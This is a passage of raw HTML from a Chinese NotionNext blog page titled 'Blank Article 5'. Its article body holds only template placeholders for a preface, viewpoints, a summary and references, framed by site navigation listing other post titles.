content="仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容"/><meta name="twitter:title" content="空白文章5 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">空白文章5</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-973ede9c1a104482be06324fd481d34f"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-callout notion-gray_background_co notion-block-97b83613915a4ab9b3bdd68db83d3dfe"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
 一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。<div class="notion-text notion-block-ec4d6982b4794cd883e30decb842bb37">可以说说你的故事:阻碍、努力、结果成果,意外与转折。</div></div></div><div class="notion-blank notion-block-76627ca2ce5d4b078adb1d2baaceca38"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-3ef21e2896e04b508043d771fe23d0fc" data-id="3ef21e2896e04b508043d771fe23d0fc"><span><div id="3ef21e2896e04b508043d771fe23d0fc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3ef21e2896e04b508043d771fe23d0fc" title="📝 主旨内容"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📝 主旨内容</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-950940714dd0462886a6d07b52bb9067" data-id="950940714dd0462886a6d07b52bb9067"><span><div id="950940714dd0462886a6d07b52bb9067" class="notion-header-anchor"></div><a class="notion-hash-link" href="#950940714dd0462886a6d07b52bb9067" title="观点1"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点1</span></span></h3><blockquote class="notion-quote notion-block-0460e20c39fa4594801c8f753bea4b61"><div>引用的话语</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-44ea8fdc6fe8450daf6df2d982217321" data-id="44ea8fdc6fe8450daf6df2d982217321"><span><div id="44ea8fdc6fe8450daf6df2d982217321" class="notion-header-anchor"></div><a class="notion-hash-link" href="#44ea8fdc6fe8450daf6df2d982217321" title="观点2"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点2</span></span></h3><blockquote class="notion-quote notion-block-9662722c31b74302852b2fe7427cc937"><div>引用的话语</div></blockquote><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-acb291273d8747df99c5f56f06aab68f" data-id="acb291273d8747df99c5f56f06aab68f"><span><div id="acb291273d8747df99c5f56f06aab68f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#acb291273d8747df99c5f56f06aab68f" title="🤗 总结归纳"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">🤗 总结归纳</span></span></h2><div class="notion-text notion-block-c63c1c5f62384bc9a8e6b6fe8f6ca5d5">总结文章的内容</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-be3b1067d077457798b111c956cdafec" data-id="be3b1067d077457798b111c956cdafec"><span><div id="be3b1067d077457798b111c956cdafec" class="notion-header-anchor"></div><a class="notion-hash-link" href="#be3b1067d077457798b111c956cdafec" title="📎 参考文章"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📎 参考文章</span></span></h2><ul class="notion-list notion-list-disc notion-block-317692a5d6ee4280a4abf2dfce327b3d"><li>一些引用</li></ul><ul class="notion-list notion-list-disc notion-block-1f01e029d2df4c21b86137b1d26b4f34"><li>引用文章</li></ul><div class="notion-blank notion-block-1c51356234eb47dc8f4084dcc70cda9f"> </div><div class="notion-callout notion-gray_background_co notion-block-9f57a9c3c1c04855be676f499b8416fd"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~</div></div></main></div><div class="m-1 overflow-x-auto"><div class="flex w-full md:justify-end"></div></div><div class="flex justify-between"><div></div></div><section class="text-gray-800 dark:text-gray-400 h-12 flex items-center justify-between space-x-5 my-4"><a class="text-sm cursor-pointer justify-start items-center flex hover:underline duration-300" href="/article/example"><i class="mr-1 fas fa-angle-double-left"></i>示例文章</a><a class="text-sm cursor-pointer justify-end items-center flex hover:underline duration-300" href="/article/240325-ollama">mac体验ollama本地大模型<i class="ml-1 my-1 fas fa-angle-double-right"></i></a></section><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 animate__slideOutRight overflow-y-hidden shadow-card w-60 duration-200 fixed right-1 bottom-16 rounded py-2 bg-white dark:bg-hexo-black-gray"><div class="dark:text-gray-400 text-gray-600 h-96 p-3"></div></div></div><div id="right-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-07-02</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 